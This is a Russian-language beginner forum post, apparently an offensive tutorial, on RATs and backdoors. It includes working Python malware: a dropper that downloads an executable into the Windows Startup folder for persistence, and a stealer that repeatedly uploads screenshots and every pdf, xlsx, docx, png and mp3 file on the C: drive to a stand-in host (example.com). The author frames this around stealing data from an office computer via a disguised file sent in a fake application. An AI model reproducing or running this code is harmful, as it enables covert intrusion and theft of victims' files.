Начинающим Что такое RAT и бэкдоры

[taniberg]

Сегодня разберем что такое RAT и для чего используется бэкдор

Итак, эти две вещи очень близки к пониманию. Обе внедряются посредством трояна, и обе позволяют удаленно управлять системами. Но есть несколько отличий:

1. RAT позволяет напрямую управлять компьютером, также часто даёт доступ к рабочему столу и курсору, благодаря чему можно управлять чужим компьютером как своим.
2. Бэкдор - это функция, которая позволяет постоянно иметь доступ к серверу или взломанному ПК, чаще всего через консоль.

Как работает и как создать бэкдор?

- Для начала нужно понять для какой цели он будет использован. Возьмём в пример кражу данных с офисного компьютера (из моего опыта)
- Требуется написать Python скрипт, который будет представлять из себя файл со следующим содержимым:

import requests
import os
import subprocess
username = os.getlogin()
url = 'https://example.com/file.exe'
filename =  rf"C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\file.exe"
response = requests.get(url)
if response.status_code == 200:
    with open(filename, 'wb') as f:
        f.write(response.content)
subprocess.Popen([os.path.abspath(filename)])

Данный код, будет запускаться при запуске exe файла, замаскированного под любой другой формат (как это сделать разберём в следующей статье)
После запуска он скачать сам файл, который будет собирать данные в папку автозагрузки Windows, чтобы скрипт включался при каждом включении ПК.

- Теперь нужно написать сам скрипт для кражи данных:

import time
import pyautogui
import requests
import os
import threading

url = 'https://example.com/get_data/index.php'

def send_file(file_path):
    try:
        with open(file_path, 'rb') as f:
            payload = {"type": "file"}
            files = {'uploadedFile': (os.path.basename(file_path), f)}
            response = requests.post(url, files=files, data=payload)
            print(f'Отправлен {file_path}, статус: {response.status_code}')
            print(f'Ответ сервера: {response.text}')
    except Exception as e:
        print(f'Ошибка при отправке файла {file_path}: {e}')

def screenshot_loop(interval=3):
    while True:
        try:
            screenshot = pyautogui.screenshot()
            filename = f'{int(time.time())}.png'
            screenshot.save(filename)
            send_file(filename)
            os.remove(filename)
        except Exception as e:
            print(f'Ошибка при создании или отправке скриншота: {e}')
        time.sleep(interval)

def find_and_send_files():
    extensions = ['.pdf', '.png', '.mp3', '.xlsx', '.docx']
    for root, dirs, files in os.walk('C:\\'):
        for file in files:
            if any(file.lower().endswith(ext) for ext in extensions):
                file_path = os.path.join(root, file)
                send_file(file_path)

if __name__ == "__main__":
    # Запускаем поток для скриншотов
    threading.Thread(target=screenshot_loop, daemon=True).start()
    # Запускаем функцию поиска и отправки файлов
    find_and_send_files()

Теперь можно например послать липовую заявку на сайт с каким либо интересным содержимым и первым файлом. После открытия на наш сервер (example.com) будут поступать скриншоты и все файлы расширений .pdf, .png, .mp3, .xlsx, .docx.


Что такое RAT и как он работает?

Определение с гугла:
RAT (Remote Access Trojan) – это тип вредоносного программного обеспечения (ПО), которое дает злоумышленнику удаленный доступ и полный контроль над зараженным компьютером или системой.

Для чего же он нужен?

1. Просмотр действий таргета
2. Мирные цели: использование ПК удаленно для работы или чего-то другого (например законный RAT'ник - AnyDesk)
3. Управление и запугивание цели: например блокировка ОС и удаление файлов с требованием выкупа.

Как создаётся RAT файл?
- Процесс создания похож на бэкдор, но тот уже требуется использовать захват мыши, клавиатуры и экрана
- Схема точно такая же: небольшой файл маскируется под другое расширение, отправляется таргету, а дальше файл скачивает сам RAT'ник и запускает его. В итоге в отдельном окне у хакера появится отдельный рабочий стол, которым он может управлять и делать все что захочет.


Также бывают совмещенные типы, при которых можно воровать файлы, вводить команды, управлять ПК с помощью GUI и т.п.



Спасибо за прочтение! Очень скоро появится статья о маскировке вредоносных файлов под обычные и безобидные форматы.